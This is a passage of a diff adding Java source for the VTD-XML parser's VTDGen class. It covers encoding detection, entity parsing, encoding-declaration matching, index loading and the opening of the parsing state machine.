FastIntBuffer _l5Buffer; + + protected FastIntBuffer nsBuffer1; + protected FastLongBuffer nsBuffer2; + protected FastLongBuffer nsBuffer3; + + + private int last_depth; + private int last_l1_index; + private int last_l2_index; + private int last_l3_index; + private int last_l4_index; + + protected EOFException e; + protected int docLen; + protected int docOffset; + protected int encoding; + //namespace aware flag + + // this is byte offset, not char offset as encoded in VTD + protected boolean ws; // to prserve whitespace or not, default to false + protected int rootIndex; + protected int VTDDepth; // Maximum Depth of VTDs + protected short LcDepth; + + protected long currentElementRecord; + private boolean must_utf_8; + private boolean BOM_detected; + + /** + * VTDGen constructor method. + */ + public VTDGen() { + attr_name_array = new long[ATTR_NAME_ARRAY_SIZE]; + prefixed_attr_name_array = new long[ATTR_NAME_ARRAY_SIZE]; + prefix_URL_array = new int[ATTR_NAME_ARRAY_SIZE]; + tag_stack = new long[TAG_STACK_SIZE]; + //scratch_buffer = new int[10]; + VTDDepth = 0; + LcDepth = 3; + + br = false; + e = new EOFException("permature EOF reached, XML document incomplete"); + ws = false; + nsBuffer1 = new FastIntBuffer(4); + nsBuffer2 = new FastLongBuffer(4); + nsBuffer3 = new FastLongBuffer(4); + currentElementRecord = 0; + singleByteEncoding = true; + shallowDepth =true; + helper=false; + default_ns = false; //true xmlns='abc' + isXML = false; + //offset_adj = 1; + } + /** + * Clear internal states so VTDGEn can process the next file. + */ + public void clear() { + if (br==false){ + VTDBuffer = null; + l1Buffer = null; + l2Buffer = null; + l3Buffer = null; + _l3Buffer = null; + _l4Buffer = null; + _l5Buffer = null; + } + XMLDoc = null; + offset = temp_offset =0; + last_depth = last_l1_index = last_l2_index = last_l3_index=last_l4_index=0; + rootIndex = 0; + depth = -1; + increment =1; + BOM_detected = false; + must_utf_8 = false; + ch = ch_temp = 0; + nsBuffer1.size=0; + nsBuffer2.size=0; + nsBuffer3.size=0; + currentElementRecord = 0; + } + + /** + * Enable the parser to collect all white spaces, including the trivial white spaces + * By default, trivial white spaces are ignored + * @param b + */ + public void enableIgnoredWhiteSpace(boolean b){ + ws = b; + } + + /** + * Enable VTDGen to generate Location Cache of either depth 3 or 5 + * This method is meant to called before setDoc() or parseFile() + * @param i + */ + public void selectLcDepth(int i) throws ParseException{ + if (i!=3 &&i!=5) + throw new IllegalArgumentException("LcDepth can only take the value of 3 or 5"); + //new ParseException("LcDepth can only take the value of 3 or 5"); + if (i==5) + shallowDepth = false; + } + /** + * Write white space records that are ignored by default + */ + private void addWhiteSpaceRecord() { + if (depth > -1) { + int length1 = offset - increment - temp_offset; + if (length1 != 0) + if (singleByteEncoding)//if (encoding < FORMAT_UTF_16BE) + writeVTDText(temp_offset, length1, TOKEN_CHARACTER_DATA, depth); + else + writeVTDText(temp_offset >> 1, length1 >> 1, + TOKEN_CHARACTER_DATA, depth); + } + } + + /** + * A private method that detects the BOM and decides document encoding + * @throws EncodingException + * @throws ParseException + */ + private void decide_encoding() throws EncodingException,ParseException { + if (XMLDoc.length==0) + throw new EncodingException("Document is zero sized "); + if (XMLDoc[offset] == -2) { + increment = 2; + if (XMLDoc[offset + 1] == -1) { + offset += 2; + encoding = FORMAT_UTF_16BE; + BOM_detected = true; + r = new UTF16BEReader(); + } else + throw new EncodingException("Unknown Character encoding: should be 0xff 0xfe"); + } else if (XMLDoc[offset] == -1) { + increment = 2; + if (XMLDoc[offset + 1] == -2) { + offset += 2; + encoding = FORMAT_UTF_16LE; + BOM_detected = true; + r = new UTF16LEReader(); + } else + throw new EncodingException("Unknown Character encoding: not UTF-16LE"); + } else if (XMLDoc[offset] == -17){ + if (XMLDoc[offset+1] == -69 && XMLDoc[offset+2]==-65){ + offset +=3; + must_utf_8= true; + } + else + throw new EncodingException("Unknown Character encoding: not UTF-8"); + } + else if (XMLDoc[offset]==0){ + if (XMLDoc[offset+1] == 0x3c + && XMLDoc[offset+2] == 0 + && XMLDoc[offset+3] == 0x3f){ + encoding = FORMAT_UTF_16BE; + increment = 2; + r = new UTF16BEReader(); + } + else + throw new EncodingException("Unknown Character encoding: not UTF-16BE"); + } + else if (XMLDoc[offset]==0x3c){ + if (XMLDoc[offset+1] == 0 + && XMLDoc[offset+2] == 0x3f + && XMLDoc[offset+3] == 0){ + increment = 2; + encoding = FORMAT_UTF_16LE; + r = new UTF16LEReader(); + } + } + // check for max file size exception + if (encoding < FORMAT_UTF_16BE) { + if (ns){ + if ((offset + (long)docLen) >= 1L << 30) + throw new ParseException("Other error: file size too big >=1GB "); + } + else { + if ((offset + (long)docLen) >= 1L <<31) + throw new ParseException("Other error: file size too big >=2GB "); + } + } else { + //offset_adj = 2; + if ((offset+ (long)docLen) >= 1L << 31) + throw new ParseException("Other error: file size too large >= 2GB"); + } + if (encoding >= FORMAT_UTF_16BE ) + singleByteEncoding = false; + } + /** + * This method will detect whether the entity is valid or not and increment offset. + * @return int + * @throws com.ximpleware.ParseException Super class for any exception during parsing. + * @throws com.ximpleware.EncodingException UTF/native encoding exception. + * @throws com.ximpleware.EOFException End of file exception. + */ + private int entityIdentifier() throws EntityException, EncodingException,EOFException, ParseException { + int ch = r.getChar(); + int val = 0; + + switch (ch) { + case '#': + ch = r.getChar(); + if (ch == 'x') { + while (true) { + ch = r.getChar(); + if (ch >= '0' && ch <= '9') { + val = (val << 4) + (ch - '0'); + } else if (ch >= 'a' && ch <= 'f') { + val = (val << 4) + (ch - 'a' + 10); + } else if (ch >= 'A' && ch <= 'F') { + val = (val << 4) + (ch - 'A' + 10); + } else if (ch == ';') { + return val; + } else + throw new EntityException("Errors in char reference: Illegal char following &#x." + formatLineNumber()); + } + } else { + while (true) { + if (ch >= '0' && ch <= '9') { + val = val * 10 + (ch - '0'); + } else if (ch == ';') { + break; + } else + throw new EntityException("Errors in char reference: Illegal char following &#." + formatLineNumber()); + ch = r.getChar(); + } + } + if (!XMLChar.isValidChar(val)) { + throw new EntityException("Errors in entity reference: Invalid XML char." + formatLineNumber()); + } + return val; + //break; + + case 'a' : + ch = r.getChar(); + if (ch == 'm') { + if (r.getChar() == 'p' && r.getChar() == ';') { + //System.out.println(" entity for &"); + return '&'; + } else + throw new EntityException("Errors in Entity: Illegal builtin reference" + formatLineNumber()); + } else if (ch == 'p') { + if (r.getChar() == 'o' + && r.getChar() == 's' + && r.getChar() == ';') { + //System.out.println(" entity for ' "); + return '\''; + } else + throw new EntityException("Errors in Entity: Illegal builtin reference" + formatLineNumber()); + } else + throw new EntityException("Errors in Entity: Illegal builtin reference" + formatLineNumber()); + + case 'q' : + if (r.getChar() == 'u' + && r.getChar() == 'o' + && r.getChar() == 't' + && r.getChar() == ';') { + return '"'; + } else + throw new EntityException("Errors in Entity: Illegal builtin reference" + formatLineNumber()); + case 'l' : + if (r.getChar() == 't' && r.getChar() == ';') { + return '<'; + } else + throw new EntityException("Errors in Entity: Illegal builtin reference" + formatLineNumber()); + //break; + case 'g' : + if (r.getChar() == 't' && r.getChar() == ';') { + return '>'; + } else + throw new EntityException("Errors in Entity: Illegal builtin reference" + formatLineNumber()); + default : + throw new EntityException("Errors in Entity: Illegal entity char" + formatLineNumber()); + } + //return val; + } + /** + * Write the remaining portion of LC info + * + */ + private void finishUp(){ + if (shallowDepth){ + if (last_depth == 1) { + l1Buffer.append(((long) last_l1_index << 32) | 0xffffffffL); + } else if (last_depth == 2) { + l2Buffer.append(((long) last_l2_index << 32) | 0xffffffffL); + } + }else{ + if (last_depth == 1) { + l1Buffer.append(((long) last_l1_index << 32) | 0xffffffffL); + } else if (last_depth == 2) { + l2Buffer.append(((long) last_l2_index << 32) | 0xffffffffL); + }else if (last_depth == 3) { + _l3Buffer.append(((long) last_l3_index << 32) | 0xffffffffL); + }else if (last_depth == 4) { + _l4Buffer.append(((long) last_l4_index << 32) | 0xffffffffL); + } + } + } + /** + * Format the string indicating the position (line number:offset)of the offset if + * there is an exception. + * @return java.lang.String indicating the line number and offset of the exception + */ + private String formatLineNumber() { + return formatLineNumber(offset); + } + + private String formatLineNumber(int os) { + int so = docOffset; + int lineNumber = 0; + int lineOffset = 0; + + if (encoding < FORMAT_UTF_16BE) { + while (so <= os-1) { + if (XMLDoc[so] == '\n') { + lineNumber++; + lineOffset = so; + } + //lineOffset++; + so++; + } + lineOffset = os - lineOffset; + } else if (encoding == FORMAT_UTF_16BE) { + while (so <= os-2) { + if (XMLDoc[so + 1] == '\n' && XMLDoc[so] == 0) { + lineNumber++; + lineOffset = so; + } + so += 2; + } + lineOffset = (os - lineOffset) >> 1; + } else { + while (so <= os-2) { + if (XMLDoc[so] == '\n' && XMLDoc[so + 1] == 0) { + lineNumber++; + lineOffset = so; + } + so += 2; + } + lineOffset = (os - lineOffset) >> 1; + } + return "\nLine Number: " + (lineNumber+1) + " Offset: " + (lineOffset-1); + } + + + /** + * The entity ignorant version of getCharAfterS. + * @return int + * @throws ParseException + * @throws EncodingException + * @throws com.ximpleware.EOFException + */ + final private int getCharAfterS() + throws ParseException, EncodingException, EOFException { + int n; + + do { + n = r.getChar(); + if (XMLChar.isSpaceChar(n)){ + } + else + return n; + n = r.getChar(); + if (XMLChar.isSpaceChar(n)){ + } + else + return n; + /*if ((n == ' ' || n == '\n' || n =='\t'|| n == '\r' ) ) { + //if (XMLChar.isSpaceChar(n) ) { + } else + return n; + n = r.getChar(); + if ((n == ' ' || n == '\n' || n =='\t'|| n == '\r' ) ) { + } else + return n; + /*if (n == ' ' || n == '\n' || n =='\t'|| n == '\r' ) { + } else + return n;*/ + } while(true); + //throw new EOFException("should never come here"); + } + /** + * The entity aware version of getCharAfterS + * @return int + * @throws ParseException Super class for any exception during parsing. + * @throws EncodingException UTF/native encoding exception. + * @throws com.ximpleware.EOFException End of file exception. + */ +// private int getCharAfterSe() +// throws ParseException, EncodingException, EOFException { +// int n = 0; +// int temp; //offset saver +// while (true) { +// n = r.getChar(); +// if (!XMLChar.isSpaceChar(n)) { +// if (n != '&') +// return n; +// else { +// temp = offset; +// if (!XMLChar.isSpaceChar(entityIdentifier())) { +// offset = temp; // rewind +// return '&'; +// } +// } +// } +// n = r.getChar(); +// if (!XMLChar.isSpaceChar(n)) { +// if (n != '&') +// return n; +// else { +// temp = offset; +// if (!XMLChar.isSpaceChar(entityIdentifier())) { +// offset = temp; // rewind +// return '&'; +// } +// } +// } +// } +// } + + + /** + * Pre-compute the size of VTD+XML index + * @return size of the index + * + */ + + public long getIndexSize(){ + int size; + if ( (docLen & 7)==0) + size = docLen; + else + size = ((docLen >>3)+1)<<3; + + size += (VTDBuffer.size <<3)+ + (l1Buffer.size <<3)+ + (l2Buffer.size <<3); + + if ((l3Buffer.size & 1) == 0){ //even + size += l3Buffer.size<<2; + } else { + size += (l3Buffer.size+1)<<2; //odd + } + return size+64; + } + /** + * This method returns the VTDNav object after parsing, it also cleans + * internal state so VTDGen can process the next file. + * @return com.ximpleware.VTDNav + */ + public VTDNav getNav() { + // call VTDNav constructor + VTDNav vn; + if (shallowDepth) + vn = new VTDNav(rootIndex, encoding, ns, VTDDepth, + new UniByteBuffer(XMLDoc), VTDBuffer, l1Buffer, l2Buffer, + l3Buffer, docOffset, docLen); + else + vn = new VTDNav_L5(rootIndex, encoding, ns, VTDDepth, + new UniByteBuffer(XMLDoc), VTDBuffer, l1Buffer, l2Buffer, + _l3Buffer, _l4Buffer, _l5Buffer, docOffset, docLen); + clear(); + r = new UTF8Reader(); + return vn; + } + /** + * Get the offset value of previous character. + * @return int + * @throws ParseException Super class for exceptions during parsing. + */ + private int getPrevOffset() throws ParseException { + int prevOffset = offset; + int temp; + switch (encoding) { + case FORMAT_UTF8 : + do { + prevOffset--; + } while (XMLDoc[prevOffset] <0 && + ((XMLDoc[prevOffset] & (byte)0xc0) == (byte)0x80)); + return prevOffset; + case FORMAT_ASCII : + case FORMAT_ISO_8859_1: + case FORMAT_ISO_8859_2: + case FORMAT_ISO_8859_3: + case FORMAT_ISO_8859_4: + case FORMAT_ISO_8859_5: + case FORMAT_ISO_8859_6: + case FORMAT_ISO_8859_7: + case FORMAT_ISO_8859_8: + case FORMAT_ISO_8859_9: + case FORMAT_ISO_8859_10: + case FORMAT_ISO_8859_11: + case FORMAT_ISO_8859_13: + case FORMAT_ISO_8859_14: + case FORMAT_ISO_8859_15: + case FORMAT_WIN_1250: + case FORMAT_WIN_1251: + case FORMAT_WIN_1252: + case FORMAT_WIN_1253: + case FORMAT_WIN_1254: + case FORMAT_WIN_1255: + case FORMAT_WIN_1256: + case FORMAT_WIN_1257: + case FORMAT_WIN_1258: + return offset - 1; + case FORMAT_UTF_16LE : + temp= (XMLDoc[offset]&0xff) << 8 | (XMLDoc[offset + 1]&0xff); + if (temp < 0xd800 || temp > 0xdfff) { + return offset - 2; + } else + return offset - 4; + case FORMAT_UTF_16BE : + temp =(XMLDoc[offset]&0xff) << 8 | (XMLDoc[offset + 1]&0xff); + if (temp < 0xd800 || temp > 0xdfff) { + return offset - 2; + } else + return offset - 4; + default : + throw new ParseException("Other Error: Should never happen"); + } + } + /** + * This method loads the VTD+XML from a byte array + * @return VTDNav + * @param ba + * @throws IOException + * @throws IndexReadException + * + */ + public VTDNav loadIndex(byte[] ba)throws IOException,IndexReadException{ + IndexHandler.readIndex(ba,this); + return getNav(); + } + /** + * This method loads the VTD+XML from an input stream + * @return VTDNav + * @param is + * @throws IOException + * @throws IndexReadException + * + */ + public VTDNav loadIndex(InputStream is) throws IOException,IndexReadException{ + IndexHandler.readIndex(is, this); + return getNav(); + } + /** + * This method loads the VTD+XML from a file + * @return VTDNav + * @param fileName + * @throws IOException + * @throws IndexReadException + * + */ + public VTDNav loadIndex(String fileName)throws IOException,IndexReadException{ + FileInputStream fis = null; + try { + fis = new FileInputStream(fileName); + return loadIndex(fis); + } finally { + if (fis != null) + fis.close(); + } + } + + + + /** + * Load the separate VTD index and XmL file. + * Refer to persistence model of separate vtd index + * for more details + * @param XMLFileName name of xml file + * @param VTDIndexName name of the vtd index file + * @return VTDNav object + * @throws IOException + * @throws IndexReadException + * + */ + public VTDNav loadSeparateIndex(String XMLFileName, String VTDIndexName) throws IOException, IndexReadException{ + FileInputStream xfis = null; + FileInputStream vfis = null; + xfis = new FileInputStream(XMLFileName); + int size = (int)(new File(XMLFileName)).length(); + vfis = new FileInputStream(VTDIndexName); + IndexHandler.readSeparateIndex( vfis, xfis, size, this); + return getNav(); + } + private void matchCPEncoding()throws ParseException{ + if ((r.skipChar('p') || r.skipChar('P')) && r.skipChar('1') + && r.skipChar('2') && r.skipChar('5')) { + if (encoding <= FORMAT_UTF_16LE) { + if (must_utf_8) + throw new EncodingException( + "Can't switch from UTF-8" + + formatLineNumber()); + if (r.skipChar('0')){ + encoding = FORMAT_WIN_1250; + r=new WIN1250Reader(); + _writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('1')){ + encoding = FORMAT_WIN_1251; + r=new WIN1251Reader(); + _writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('2')){ + encoding = FORMAT_WIN_1252; + r=new WIN1252Reader(); + _writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('3')){ + encoding = FORMAT_WIN_1253; + r=new WIN1253Reader(); + _writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('4')){ + encoding = FORMAT_WIN_1254; + r=new WIN1254Reader(); + _writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('5') ){ + encoding = FORMAT_WIN_1255; + r=new WIN1255Reader(); + _writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('6')){ + encoding = FORMAT_WIN_1256; + r=new WIN1256Reader(); + _writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('7') ){ + encoding = FORMAT_WIN_1257; + r=new WIN1257Reader(); + _writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('8') ){ + encoding = FORMAT_WIN_1258; + r=new WIN1258Reader(); + _writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else + throw new ParseException( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + if (r.skipChar(ch_temp)) + return; + } else + throw new ParseException( + "XML decl error: Can't switch encoding to ISO-8859" + + formatLineNumber()); + + } + throw new ParseException( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + } + + private void matchISOEncoding()throws ParseException{ + if ((r.skipChar('s') || r.skipChar('S')) + && (r.skipChar('o') || r.skipChar('O')) + && r.skipChar('-') && r.skipChar('8') + && r.skipChar('8') && r.skipChar('5') + && r.skipChar('9') && r.skipChar('-')) + { + if (encoding <= FORMAT_UTF_16LE) { + if (must_utf_8) + throw new EncodingException( + "Can't switch from UTF-8" + + formatLineNumber()); + if (r.skipChar('1')){ + if (r.skipChar(ch_temp)) { + encoding = FORMAT_ISO_8859_1; + r = new ISO8859_1Reader(); + _writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + return; + } else if (r.skipChar('0') ){ + encoding = FORMAT_ISO_8859_10; + r = new ISO8859_10Reader(); + _writeVTD(temp_offset, 11, + TOKEN_DEC_ATTR_VAL, + depth); + } else if (r.skipChar('1') ){ + encoding = FORMAT_ISO_8859_11; + r = new ISO8859_11Reader(); + _writeVTD(temp_offset, 11, + TOKEN_DEC_ATTR_VAL, + depth); + } else if (r.skipChar('3') ){ + encoding = FORMAT_ISO_8859_13; + r = new ISO8859_13Reader(); + _writeVTD(temp_offset, 11, + TOKEN_DEC_ATTR_VAL, + depth); + } else if (r.skipChar('4') ){ + encoding = FORMAT_ISO_8859_14; + r = new ISO8859_14Reader(); + _writeVTD(temp_offset, 11, + TOKEN_DEC_ATTR_VAL, + depth); + } else if (r.skipChar('5') ){ + encoding = FORMAT_ISO_8859_15; + r = new ISO8859_15Reader(); + _writeVTD(temp_offset, 15, + TOKEN_DEC_ATTR_VAL, + depth); + } else throw new ParseException( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + }else if (r.skipChar('2') ){ + encoding = FORMAT_ISO_8859_2; + r = new ISO8859_2Reader(); + _writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('3')){ + r = new ISO8859_3Reader(); + encoding = FORMAT_ISO_8859_3; + _writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('4') ){ + r = new ISO8859_4Reader(); + encoding = FORMAT_ISO_8859_4; + _writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('5') ){ + encoding = FORMAT_ISO_8859_5; + r = new ISO8859_5Reader(); + _writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('6') ){ + encoding = FORMAT_ISO_8859_6; + r = new ISO8859_6Reader(); + _writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('7') ){ + encoding = FORMAT_ISO_8859_7; + r = new ISO8859_7Reader(); + _writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('8') ){ + encoding = FORMAT_ISO_8859_8; + r = new ISO8859_8Reader(); + _writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('9')){ + encoding = FORMAT_ISO_8859_9; + r = new ISO8859_9Reader(); + _writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + } else + throw new ParseException( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + if (r.skipChar(ch_temp)) + return; + } else + throw new ParseException( + "XML decl error: Can't switch encoding to ISO-8859" + + formatLineNumber()); + } + throw new ParseException( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + } + private void matchUTFEncoding() throws ParseException{ + if ((r.skipChar('s') || r.skipChar('S'))) + if (r.skipChar('-') + && (r.skipChar('a') || r.skipChar('A')) + && (r.skipChar('s') || r.skipChar('S')) + && (r.skipChar('c') || r.skipChar('C')) + && (r.skipChar('i') || r.skipChar('I')) + && (r.skipChar('i') || r.skipChar('I')) + && r.skipChar(ch_temp)) { + if (singleByteEncoding) { + if (must_utf_8) + throw new EncodingException( + "Can't switch from UTF-8" + + formatLineNumber()); + encoding = FORMAT_ASCII; + r=new ASCIIReader(); + _writeVTD(temp_offset, 8, + TOKEN_DEC_ATTR_VAL, + depth); + + return; + } else + throw new ParseException( + "XML decl error: Can't switch encoding to US-ASCII" + + formatLineNumber()); + } else + throw new ParseException( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + + if ((r.skipChar('t') || r.skipChar('T')) + && (r.skipChar('f') || r.skipChar('F')) + && r.skipChar('-')) { + if (r.skipChar('8') && r.skipChar(ch_temp)) { + if (singleByteEncoding) { + //encoding = FORMAT_UTF8; + _writeVTD(temp_offset, 5, + TOKEN_DEC_ATTR_VAL, + depth); + return; + } else + throw new ParseException( + "XML decl error: Can't switch encoding to UTF-8" + + formatLineNumber()); + } + if (r.skipChar('1') && r.skipChar('6')) { + if (r.skipChar(ch_temp)) { + if (!singleByteEncoding) { + if (!BOM_detected) + throw new EncodingException( + "BOM not detected for UTF-16" + + formatLineNumber()); + _writeVTD( + temp_offset >> 1, + 6, + TOKEN_DEC_ATTR_VAL, + depth); + return; + } + throw new ParseException( + "XML decl error: Can't switch encoding to UTF-16" + + formatLineNumber()); + } else if ((r.skipChar('l') || r.skipChar('L')) + && (r.skipChar('e') || r.skipChar('E')) + && r.skipChar(ch_temp)) { + if (encoding == FORMAT_UTF_16LE) { + r = new UTF16LEReader(); + _writeVTD( + temp_offset >> 1, + 8, + TOKEN_DEC_ATTR_VAL, + depth); + return; + } + throw new ParseException( + "XML del error: Can't switch encoding to UTF-16LE" + + formatLineNumber()); + } else if ((r.skipChar('b') || r.skipChar('B')) + && (r.skipChar('e') || r.skipChar('E')) + && r.skipChar(ch_temp)) { + if (encoding == FORMAT_UTF_16BE) { + _writeVTD( + temp_offset >> 1, + 8, + TOKEN_DEC_ATTR_VAL, + depth); + return; + } + throw new ParseException( + "XML del error: Can't swtich encoding to UTF-16BE" + + formatLineNumber()); + } + + throw new ParseException( + "XML decl error: Invalid encoding" + + formatLineNumber()); + } + } + } + + private void matchWindowsEncoding()throws ParseException{ + if ((r.skipChar('i') || r.skipChar('I')) + &&(r.skipChar('n') || r.skipChar('N')) + &&(r.skipChar('d') || r.skipChar('D')) + &&(r.skipChar('o') || r.skipChar('O')) + &&(r.skipChar('w') || r.skipChar('W')) + &&(r.skipChar('s') || r.skipChar('S')) + && r.skipChar('-') + && r.skipChar('1') + && r.skipChar('2') + && r.skipChar('5')) { + if (encoding <= FORMAT_UTF_16LE) { + if (must_utf_8) + throw new EncodingException( + "Can't switch from UTF-8" + + formatLineNumber()); + if (r.skipChar('0')){ + encoding = FORMAT_WIN_1250; + r=new WIN1250Reader(); + _writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('1')){ + encoding = FORMAT_WIN_1251; + r=new WIN1251Reader(); + _writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('2')){ + encoding = FORMAT_WIN_1252; + r=new WIN1252Reader(); + _writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('3')){ + encoding = FORMAT_WIN_1253; + r=new WIN1253Reader(); + _writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('4')){ + encoding = FORMAT_WIN_1254; + r=new WIN1254Reader(); + _writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('5')){ + encoding = FORMAT_WIN_1255; + r=new WIN1255Reader(); + _writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('6')){ + encoding = FORMAT_WIN_1256; + r=new WIN1256Reader(); + _writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('7')){ + encoding = FORMAT_WIN_1257; + r=new WIN1257Reader(); + _writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('8')){ + encoding = FORMAT_WIN_1258; + r=new WIN1258Reader(); + _writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else + throw new ParseException( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + if (r.skipChar(ch_temp)) + return; + + } else + throw new ParseException( + "XML decl error: Can't switch encoding to ISO-8859" + + formatLineNumber()); + } + throw new ParseException( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + } + + /** + * Generating VTD tokens and Location cache info. When set to true, + * VTDGen conforms to XML namespace 1.0 spec + * @param NS boolean Enable namespace or not + * @throws ParseException Super class for any exceptions during parsing. + * @throws EOFException End of file exception. + * @throws EntityException Entity resolution exception. + * @throws EncodingException UTF/native encoding exception. + */ + public void parse(boolean NS) + throws EncodingException, EOFException, EntityException, ParseException { + + // define internal variables + ns = NS; + //String s1 = null,s2=null; + length1 = length2 = 0; + attr_count = prefixed_attr_count= 0 /*, ch = 0, ch_temp = 0*/; + int parser_state = STATE_DOC_START; + //boolean has_amp = false; + is_ns = false; + encoding = FORMAT_UTF8; + helper=false; + default_ns = false; //true xmlns='abc' + isXML = false; //true only for xmlns:xml + singleByteEncoding = true; + // first check first several bytes to figure out the encoding + decide_encoding(); + + // enter the main finite state machine + try { + _writeVTD(0,0,TOKEN_DOCUMENT,depth); + while (true) { + switch (parser_state) { + case STATE_LT_SEEN : //if (depth < -1) + // throw new ParseException("Other Errors: Invalid depth"); + temp_offset = offset; + ch = r.getChar(); + if (XMLChar.isNameStartChar(ch)) { + depth++; + parser_state = STATE_START_TAG; + } else { + if (ch=='/'){ + parser_state = STATE_END_TAG; + } + else if (ch=='!'){ + parser_state = process_ex_seen(); + }else if (ch=='?'){ + parser_state = process_qm_seen(); + }else throw new ParseException( + "Other Error: Invalid char after <" + + formatLineNumber()); + } + break; + + case STATE_START_TAG : //name space is handled by + do { + ch = r.getChar(); + if (XMLChar.isNameChar(ch)) { + if (ch == ':') { + length2 = offset - temp_offset - increment; + if (ns && checkPrefix2(temp_offset,length2)) + throw new ParseException( + "xmlns can't be an element prefix " + + formatLineNumber(offset)); + } + } else + break; + }while (true); + length1 = offset - temp_offset - increment; + if (depth > MAX_DEPTH) { + throw new ParseException( + "Other Error: Depth exceeds MAX_DEPTH" + + formatLineNumber()); + } + //writeVTD(offset, TOKEN_STARTING_TAG, length2:length1, depth) + long x = ((long) length1 << 32) + temp_offset; + tag_stack[depth] = x; + + // System.out.println( + // " " + (temp_offset) + " " + length2 + ":" + length1 + " startingTag " + depth); + if (depth > VTDDepth) + VTDDepth = depth; + //if (encoding < FORMAT_UTF_16BE){ + if (singleByteEncoding){ + if (length2>MAX_PREFIX_LENGTH + || length1 > MAX_QNAME_LENGTH) + throw new ParseException( + "Token Length Error: Starting tag prefix or qname length too long" + + formatLineNumber()); + if (this.shallowDepth) + writeVTD((temp_offset), (length2 << 11) | length1, + TOKEN_STARTING_TAG, depth); + else + writeVTD_L5((temp_offset), (length2 << 11) | length1, + TOKEN_STARTING_TAG, depth); + } else { + if (length2 > (MAX_PREFIX_LENGTH << 1) + || length1 > (MAX_QNAME_LENGTH << 1)) + throw new ParseException( + "Token Length Error: Starting tag prefix or qname length too long" + + formatLineNumber()); + if (this.shallowDepth) + writeVTD((temp_offset) >> 1, (length2 << 10) | (length1 >> 1), + TOKEN_STARTING_TAG, depth); + else + writeVTD_L5((temp_offset) >> 1, (length2 << 10) | (length1 >> 1), + TOKEN_STARTING_TAG, depth); + } + if (ns) { + if (length2!=0){ + length2 += increment; + currentElementRecord = (((long)((length2<<16)|length1))<<32) + | temp_offset; + } else + currentElementRecord = 0; + + if (depth <= nsBuffer1.size - 1) { + nsBuffer1.size = depth ; + int t= nsBuffer1.intAt(depth-1)+1; + nsBuffer2.size=t; + nsBuffer3.size=t; + } + } + // offset += length1; + length2 = 0; + if (XMLChar.isSpaceChar(ch)) { + ch = getCharAfterS(); + if (XMLChar.isNameStartChar(ch)) { + // seen an attribute here + temp_offset = getPrevOffset(); + parser_state = STATE_ATTR_NAME; + break; + } + } + helper = true; + if (ch == '/') { + depth--; + helper = false; + ch = r.getChar(); + } + if (ch == '>') { + if (ns){ + nsBuffer1.append(nsBuffer3.size-1); + if (currentElementRecord !=0) + qualifyElement(); + } + parser_state = processElementTail(helper); + break; + } + throw new ParseException( + "Starting tag Error: Invalid char in starting tag" + + formatLineNumber()); + + case STATE_END_TAG : + temp_offset = offset; + int sos = (int) tag_stack[depth]; + int sl = (int) (tag_stack[depth] >> 32); + + offset = temp_offset+sl; + + if (offset>= endOffset) + throw new EOFException("permature EOF reached, XML document incomplete"); + for (int i = 0; i < sl; i++) { + if (XMLDoc[sos + i] != XMLDoc[temp_offset + i]) + throw new ParseException( + "Ending tag error: Start/ending tag mismatch" + + formatLineNumber()); + } + depth--; + ch = getCharAfterS(); + if(ch != '>') + throw new ParseException( + "Ending tag error: Invalid char in ending tag " + + formatLineNumber()); + + if (depth != -1) { + temp_offset = offset; + ch = getCharAfterS(); + if (ch == '<'){ + if (ws) + addWhiteSpaceRecord(); + parser_state = STATE_LT_SEEN; + } + else if (XMLChar.isContentChar(ch)) { + parser_state = STATE_TEXT; + } + else { + handleOtherTextChar2(ch); + parser_state = STATE_TEXT; + } + } else + parser_state = STATE_DOC_END; + break; + + case STATE_ATTR_NAME : + process_attr_name(); + parser_state = 